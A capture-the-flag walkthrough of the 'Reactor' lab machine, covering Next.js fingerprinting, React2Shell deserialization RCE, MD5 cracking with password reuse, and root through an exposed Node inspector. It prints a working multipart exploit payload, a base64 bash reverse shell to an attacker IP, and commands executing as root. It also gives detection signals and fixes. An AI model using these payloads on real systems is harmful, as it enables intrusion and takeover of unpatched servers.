React2Shell to root via the Node inspector
Reactor is a Linux box wearing a web app costume: a nuclear reactor dashboard built on Next.js, vulnerable to the highest-profile JavaScript deserialization bug of the last year. The chain is modern and short — pre-auth RCE through React Server Components, an SQLite database nobody secured, password reuse, and a root process left with its debugger open.
Mission Brief
Difficulty Easy (HTB rating; some write-ups say Medium) OS Ubuntu 24.04 LTS Released / retired 2026-05-23 / 2026-10-03 Attack surface 22/tcp SSH, 3000/tcp HTTP (Next.js 15.0.3), 53/tcp = red herring Techniques CVE-2025-55182 (React2Shell) → SQLite/MD5 → password reuse → Node.js --inspect(CDP)Tools nmap, feroxbuster, curl, sqlite3, hashcat/CrackStation, ssh, node Creator tejas3008
Route of the whole box:
1. Recon + fingerprint JS chunks → Next.js 15.0.3 / React 19.0.0-rc
2. React2Shell pre-auth RCE → shell as node (uid 999)
3. reactor.db → MD5 crack → reuse → SSH as engineer, user.txt
4. root node --inspect :9229 → CDP Runtime.evaluate → root.txt
Recon — the app tells you its versions if you ask the right files
Two TCP ports, full scan first:
kali$ sudo nmap -p- --reason --min-rate 10000 10.129.91.79
Starting Nmap 7.94SVN ( https://nmap.org ) at 2026-09-23 01:20 UTC
Nmap scan report for 10.129.91.79
Host is up, received echo-reply ttl 63 (0.038s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
3000/tcp open ppp syn-ack ttl 63
Nmap done: 1 IP address (1 host up) scanned in 8.92 seconds
Version scan on the two open ports:
kali$ sudo nmap -p 22,3000 -sCV 10.129.91.79
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| X-Powered-By: Next.js
| Content-Type: text/html; charset=utf-8
|_ Content-Length: 17175
Three facts from that block, before touching the page: OpenSSH 9.6p1 points at Ubuntu 24.04; TTL 63 says Linux one hop away; and the response headers literally announce Next.js (X-Powered-By: Next.js, Vary: RSC — that first value is React Server Components, already a fingerprint of the feature set abused in step 2).
Directory brute force gives the framework's own static assets and nothing else — which is normal for a compiled app router:
kali$ feroxbuster -u http://10.129.91.79:3000
308 GET 1l 1w 17c http://10.129.91.79:3000/_next/static/css/ => http://10.129.91.79:3000/_next/static/css
200 GET 1l 2125w 112594c http://10.129.91.79:3000/_next/static/chunks/polyfills-42372ed130431b0a.js
200 GET 1l 85w 6707c http://10.129.91.79:3000/_next/static/css/414e1be982bc8557.css
200 GET 1l 2979w 166088c http://10.129.91.79:3000/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js
200 GET 1l 4694w 181180c http://10.129.91.79:3000/_next/static/chunks/517-d083b552e04dead1.js
200 GET 1l 337w 17175c http://10.129.91.79:3000/
[####################] - 3m 30010/30010 0s found:11 errors:0
(trimmed — the interesting part is the /_next/static/chunks/ tree.)
Next.js compiles routes into minified JavaScript chunks, and versions get stamped into them. Pull every chunk the page references, then grep:
kali$ for f in $(curl -s http://10.129.91.79:3000 | grep -oE '/_next/static/[^"\\]+\.js' | sort -u); do wget "http://10.129.91.79:3000$f"; done
...
kali$ npx js-beautify -r *.js
...
kali$ grep -Eoi 'version\s?[:=]\s*"[^"]*"' *
4bd1b696-80bcaf75e1b4285e.js:version: "19.0.0-rc-66855b96-20241106"
4bd1b696-80bcaf75e1b4285e.js:Version: "19.0.0-rc-66855b96-20241106"
517-d083b552e04dead1.js:version: "15.0.3"
517-d083b552e04dead1.js:version = "19.0.0-rc-66855b96-20241106"
polyfills-42372ed130431b0a.js:version: "3.38.1"
Field note — reading a build fingerprint.
15.0.3is the Next.js version (released mid-November 2024 — if it is still being served, the framework is roughly two years stale).19.0.0-rc-66855b96-20241106is a React 19 release candidate pinned by Next 15.0.x — an RC, not a stable build.3.38.1is core-js polyfills. The React RC is the critical line: React Server Components in this era ship the Flight deserializer abused next.
Before exploitation, one cheap check: source maps. If .map files were published you could rebuild original source — here they are not:
kali$ for f in $(curl -s http://10.129.91.79:3000 | grep -oE '/_next/static/[^"\\]+\.js'); do
echo -n "$f.map -> "; curl -s -o /dev/null -w '%{http_code}\n' "http://10.129.91.79:3000$f.map"
done
/_next/static/chunks/webpack-db0a529a99835594.js.map -> 404
/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js.map -> 404
/_next/static/chunks/517-d083b552e04dead1.js.map -> 404
Foothold — CVE-2025-55182, React2Shell
The bug, in one paragraph
React Server Components use a wire format called Flight. The half of it that parses data coming from the browser is the reply decoder — and in affected versions it unsafely deserializes payloads sent to Server Function endpoints. CVE-2025-55182 (NIST) is blunt about the scope:
A pre-authentication remote code execution vulnerability exists in React Server Components versions 19.0.0, 19.1.0, 19.1.1, and 19.2.0 ... The vulnerable code unsafely deserializes payloads from HTTP requests to Server Function endpoints.
CVSS 10.0, in CISA KEV
since 5 December 2025. Vercel tracks the Next.js-side impact as
CVE-2025-66478 (a rejected duplicate of 55182) — same flaw, two
bookkeeping entries. Crucially, the decoder runs before React validates the action ID, so a POST with any Next-Action header value triggers it. No auth, no special endpoint — a default create-next-app on a vulnerable React is enough.
Confirming Server Actions are live
Two tells, both from the wire:
kali$ curl -s -o /dev/null -w "%{http_code}\n" -X POST http://10.129.91.79:3000/
405
kali$ curl -s -o /dev/null -w "%{http_code}\n" -X POST http://10.129.91.79:3000/ -H "Next-Action: x"
200
A plain POST is rejected (405); the same POST with a Next-Action header — a value that matches nothing — returns 200 and re-renders the page. That is the fingerprint of a deserializer firing ahead of action-ID validation.
The payload
The original PoC by lachlan2k forges two internal Flight objects — a Chunk and a Response — so that a field lookup resolves to the Function constructor and compiles attacker JavaScript. Saved as r2s-body.txt (multipart keeps the payload out of URL encoding):
------R2S
Content-Disposition: form-data; name="0"
"$1"
------R2S
Content-Disposition: form-data; name="1"
{"status": "resolved_model", "reason": 0, "_response": "$5", "value": "{\"then\": \"$4:map\", \"0\": {\"then\": \"$B3\"}, \"length\": 1}", "then": "$2:then"}
------R2S
Content-Disposition: form-data; name="2"
"$@3"
------R2S
Content-Disposition: form-data; name="3"
""
------R2S
Content-Disposition: form-data; name="4"
[]
------R2S
Content-Disposition: form-data; name="5"
{"_prefix": "process.mainModule.require('child_process').execSync('ping -c 1 10.10.15.169')//", "_formData": {"get": "$4:constructor:constructor"}, "_chunks": "$2:_response:_chunks", "_bundlerConfig": {}}
------R2S--
Field note — what the fields actually do. In Flight,
$is a reference and:walks properties, so"$4:constructor:constructor"means[].constructor.constructor— theFunctionconstructor. Field 4 is the springboard ([]), field 5 is a forgedResponsewhose_formData.getis that constructor and whose_prefixis the attacker's JavaScript: React's lookupget(_prefix + id)therefore compilesthe payload + "//id". Field 1 is a forged Chunk with"status":"resolved_model", which makes React parse itsvalueagainst the forged_responseinstead of its own;$B3is a reference to a field that was never sent, so it misses the cache and falls into the poisonedget. Thethen/mapplumbing (fields 0 and 4) is what gets the compiled function actually called. Only_prefixneeds to change to run anything.
Note the JavaScript itself: _prefix is compiled by Function in global scope, where CommonJS require does not exist — hence the long way around, process.mainModule.require('child_process'). And the trailing // comments out the field ID React appends.
First proof of life — a ping, blind but observable:
kali$ curl --max-time 1 -X POST http://10.129.91.79:3000/ \
-H "Next-Action: 0xdf" \
-H "Content-Type: multipart/form-data; boundary=----R2S" \
--data-binary @r2s-body.txt
curl: (28) Operation timed out after 1002 milliseconds with 0 bytes received
The timeout is expected: the forged thenable never resolves and React waits forever — --max-time 1 just kills the request. Meanwhile, on your VPN interface:
kali$ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v] for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
13:25:17.550828 IP 10.129.91.79 > 10.10.15.169: ICMP echo request, id 6460, seq 1, length 64
13:25:17.550863 IP 10.10.15.169 > 10.129.91.79: ICMP echo reply, id 6460, seq 1, length 64
RCE confirmed. Swap ping for a reverse shell, base64-wrapped to dodge the quoting inside the single-quoted JavaScript string:
kali$ echo 'bash -i >& /dev/tcp/10.10.15.169/443 0>&1 ' | base64
YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTY5LzQ0MyAwPiYxICAK
A subtle detail worth stealing: spaces shift byte alignment, so you can re-roll the base64 until it contains neither + nor / — those two characters are exactly what a URL-encoded form path silently corrupts (+ becomes a space). Costs nothing, removes a whole class of "why is my payload broken" debugging.
_prefix becomes the decode-and-execute one-liner:
{"_prefix": "process.mainModule.require('child_process').execSync('echo YmFzaCAgLWkgPiYgL2Rldi90Y3AvMTAuMTAuMTUuMTY5LzQ0MyAwPiYxICAK | base64 -d | bash')//", "_formData": {"get": "$4:constructor:constructor"}, "_chunks": "$2:_response:_chunks", "_bundlerConfig": {}}
Fire it with a listener ready:
kali$ nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.129.91.79 36186
bash: cannot set terminal process group (1394): Inappropriate ioctl for device
bash: no job control in this shell
node@reactor:/opt/reactor-app$
Upgrade the shell the usual way:
node@reactor:/opt/reactor-app$ script /dev/null -c bash
Script started, output log file is '/dev/null'.
node@reactor:/opt/reactor-app$ ^Z
kali$ stty raw -echo; fg
node@reactor:/opt/reactor-app$ reset
Terminal type? screen
node@reactor:/opt/reactor-app$
Field note — two payload caveats that eat time. (1)
execSyncblocks the server's response thread until the command finishes: fine forping, fatal for an interactive shell — spawn asynchronously (child_process.exec) if you want a stable callback. (2) Public PoC variants differ; the$B1337/_chunks-style shapes have been observed returning HTTP 500 with a numeric digest while the canonical gadget above works. And there is an elegant alternative to the blind shell entirely: make the payload throw an error whosedigestfield carries the command output — the response body reflects it verbatim, giving you non-blind, one-shot command execution with plaincurl.
User — an orphan database and one reused password
The shell lands in /opt/reactor-app. Standard enumeration, and the app directory has an oddity:
node@reactor:/opt/reactor-app$ ls
app next.config.js node_modules package.json package-lock.json reactor.db
node@reactor:/opt/reactor-app$ cat package.json
{
"name": "reactor-app",
"version": "3.2.1",
"private": true,
"dependencies": {
"next": "15.0.3",
"react": "19.0.0",
"react-dom": "19.0.0"
}
}
A reactor.db — and no database driver in the dependencies. The site hardcodes its data; the database is a leftover nobody deleted. Open it:
node@reactor:/opt/reactor-app$ sqlite3 reactor.db
SQLite version 3.45.1 2024-01-30 16:01:20
sqlite> .tables
sensor_logs users
sqlite> .headers on
sqlite> select * from users;
id|username|password_hash|role|email
1|admin|a203b22191d744a4e70ada5c101b17b8|administrator|admin@reactor.htb
2|engineer|39d97110eafe2a9a68639812cd271e8e|operator|engineer@reactor.htb
Two users, 32 hex characters each — MD5, no salts, no format prefixes. sensor_logs is decorative telemetry. Crack the engineer hash (CrackStation online, or locally):
kali$ echo '39d97110eafe2a9a68639812cd271e8e' > engineer.hash
kali$ hashcat -m 0 -a 0 engineer.hash /usr/share/wordlists/rockyou.txt
39d97110eafe2a9a68639812cd271e8e:reactor1
Now the designed trap: the obvious target is right there and unreadable —
node@reactor:/opt/reactor-app$ cat /home/engineer/user.txt
cat: /home/engineer/user.txt: Permission denied
node is uid 999; the flag belongs to engineer (uid 1000). The hashes were pulled from the application, but the password was reused for the system account:
kali$ sshpass -p reactor1 ssh engineer@10.129.91.79
ReactorWatch Core Monitoring System
Nuclear Dynamics Corp. - Site 7
AUTHORIZED PERSONNEL ONLY
Last login: Thu Sep 24 23:26:12 2026 from 10.10.15.169
engineer@reactor:~$
(su - engineer from the node shell works identically.) And the flag:
engineer@reactor:~$ cat user.txt
b9ffa3bf************************
Field note — reuse is the whole lesson. An MD5 in a SQLite file is a credential storage failure; the user.txt falling out of it is a hygiene failure — the same password on the service account and the login account. On real engagements this exact step (app DB → crack → SSH/su) is one of the highest-confidence pivots there is.
Root — the debugger nobody turned off
Enumerating as engineer
engineer@reactor:~$ sudo -l
Sorry, user engineer may not run sudo on reactor.
engineer@reactor:/$ id
uid=1000(engineer) gid=1000(engineer) groups=1000(engineer),999(lxd)
Two classic doors, both bricked (see the traps box below). What is actually interesting is one directory up in /opt:
engineer@reactor:/opt$ ls
reactor-app uptime-monitor
engineer@reactor:/opt/uptime-monitor$ ls
worker.js
worker.js is an uptime monitor: probes http://127.0.0.1:3000/ every 30 seconds, appends the result to /var/log/uptime-monitor.csv. Harmless code — the problem is how it was started:
engineer@reactor:/$ ps auxww | grep worker.js
root 1396 0.0 1.2 1067424 49020 ? Ssl Sep23 0:07 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
engineer@reactor:~$ netstat -tnlp
(No info could be read for "-p": geteuid()=1000 but you should be root.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:9229 0.0.0.0:* LISTEN
tcp6 0 0 :::3000 :::* LISTEN
A root Node.js process, started with --inspect=127.0.0.1:9229.
Field note — what
--inspectis. The flag opens the V8 engine's built-in inspector — the same Chrome DevTools Protocol your browser speaks — on a WebSocket port. It has no authentication. Whoever reaches the port getsRuntime.evaluate: arbitrary JavaScript executed inside that process, with its privileges. The only security control here is the127.0.0.1bind, which is exactly the boundary a low-privilege shell already sits inside.
The traps this box is built from
This machine is less a difficulty spike than a trap course — worth knowing before you waste an hour on any of them:
| Trap | Why it fails |
|---|---|
| Port 53/tcp accepts connections but speaks no DNS (UDP/53 closed) | snap-store artifact, not a service — ignore it |
Group lxd on engineer |
/usr/sbin/lxc is only the Ubuntu 24.04 lxd-installer shim; it socket-activates snap install lxd, which dies with "unable to contact snap store" — no internet, no daemon, no classic LXD privesc |
sudo -R (advertised by sudo 1.9.15p5) → CVE-2025-32463 chroot privesc |
Ubuntu backported the fix: sudo -R woot woot → sudo: you are not permitted to use the -R option |
CVE-2025-29927 (x-middleware-subrequest bypass) |
no middleware-protected routes exist — the header does nothing |
Reading user.txt as node |
permission denied by design; forces the SSH/su pivot (step 3) |
Attacking the inspector
Enumerate what the debugger is holding first:
engineer@reactor:~$ curl localhost:9229/json/list
[ {
"description": "node.js instance",
"id": "f36940bd-09d1-46c6-b3f4-74c575af3d6d",
"title": "/opt/uptime-monitor/worker.js",
"type": "node",
"url": "file:///opt/uptime-monitor/worker.js",
"webSocketDebuggerUrl": "ws://localhost:9229/f36940bd-09d1-46c6-b3f4-74c575af3d6d"
} ]
One instance, worker.js, root. The shortest path is node's own inspector client — no extra tools:
engineer@reactor:~$ node inspect 127.0.0.1:9229
connecting to 127.0.0.1:9229 ... ok
debug> exec("process.mainModule.require('child_process').execSync('id').toString()")
'uid=0(root) gid=0(root) groups=0(root)\n'
Root, in three lines. (Same lesson as the foothold: inside the inspector the module loader is reached through process.mainModule.require, and .toString() turns the Buffer into readable output.) Read the flag:
debug> exec("process.mainModule.require('child_process').execSync('cat /root/root.txt').toString()")
'd25f48c9************************\n'
Two alternatives, depending on taste:
- Chrome DevTools — reconnect SSH with port forwarding (
ssh -L 9229:localhost:9229 engineer@10.129.91.79), openchrome://inspect, click the target, and use the console exactly like thedebug>prompt above. Pure GUI, same primitive. - Pure Python — if
nodewere missing, the CDP socket is still there:GET /jsonfor thewebSocketDebuggerUrl, a hand-rolled WebSocket handshake over raw TCP, then one masked text frame containing{"id":1,"method":"Runtime.evaluate","params":{"expression": ...}}. Standard library only — useful discipline for locked-down targets.
Field note — the chain is not linear. You can do the entire root step directly from the node foothold, skipping engineer:
ps auxwwworks asnode, and127.0.0.1:9229is reachable from that shell too. The engineer/user.txt leg exists because HTB scores it — in a real engagement you would take root first and read whatever is readable afterwards. Also worth knowing: on some instances/home/engineeris700, so even the pivot user cannot read the user flag — as root, everything is readable. Instance variance is a thing; the root path never changes.
Detection & defense — what the blue team gets to see
Nothing in this chain is invisible; it is just not being watched:
| Stage | Signal |
|---|---|
| React2Shell | POST to any path with a Next-Action header from an unusual client; multipart bodies with the Flight reference syntax ($1, $B, resolved_model); responses that time out and are followed by outbound ICMP/beacon traffic; thrown-error digest fields carrying command output in the response body |
| Credential theft | The web process reading its own reactor.db (file-integrity monitoring on the app directory fires instantly); MD5-without-salt in application storage |
| Password reuse | First-ever SSH login for engineer from an IP that has never touched the box before; application password appearing in the auth log |
| Root debugger | --inspect on a production Node process (process monitoring); port 9229 opened on loopback; node inspect/WebSocket upgrades against it; ps showing --inspect at all |
And the fixes, in priority order:
| Vulnerability | Fix |
|---|---|
| CVE-2025-55182 / 66478 | Upgrade React to a patched 19.x stable and Next.js ≥ 15.2.3 — never ship an -rc framework build |
--inspect in production |
Remove the flag entirely; even bound to 127.0.0.1 it is root-equivalent for anyone with a foothold |
| SQLite in the web root | Move it out, stop shipping dead data, hash passwords with a modern KDF (bcrypt/argon2, per-user salt) |
| Password reuse | Unique credentials per service account — an application password is not a login password |
Attack chain recap
| # | Step | Technique | Tool / evidence |
|---|---|---|---|
| 1 | Fingerprint | Next.js 15.0.3 + React 19.0.0-rc from JS chunks | curl, grep, js-beautify |
| 2 | Pre-auth RCE | CVE-2025-55182 Flight deserialization (any Next-Action) |
curl + multipart PoC, nc |
| 3 | Credentials | SQLite reactor.db, unsalted MD5 → reactor1 |
sqlite3, hashcat/CrackStation |
| 4 | User | Password reuse app → SSH (engineer) |
sshpass / su |
| 5 | Root | V8 inspector Runtime.evaluate on 127.0.0.1:9229 |
node inspect (or DevTools / CDP) |
Conclusion
Reactor is the current shape of a web box: the vulnerability is not in the application code — it is in the framework the application was assembled from,
shipped as a release-candidate build, never patched. Reading framework
versions out of served JavaScript is now standard recon, and the
two-line Next-Action probe is worth adding to every Next.js checklist.
Underneath it, the box teaches three boring-but-eternal lessons: an
orphan database is a credential store whether you call it one or not; a
reused password turns an application compromise into a shell; and a
debug flag left in a production launch command is a root shell waiting
for anyone who already had a bad day. The traps (lxd, sudo -R, port 53) are not cruft either — they are the box telling you which decade your intuition is from.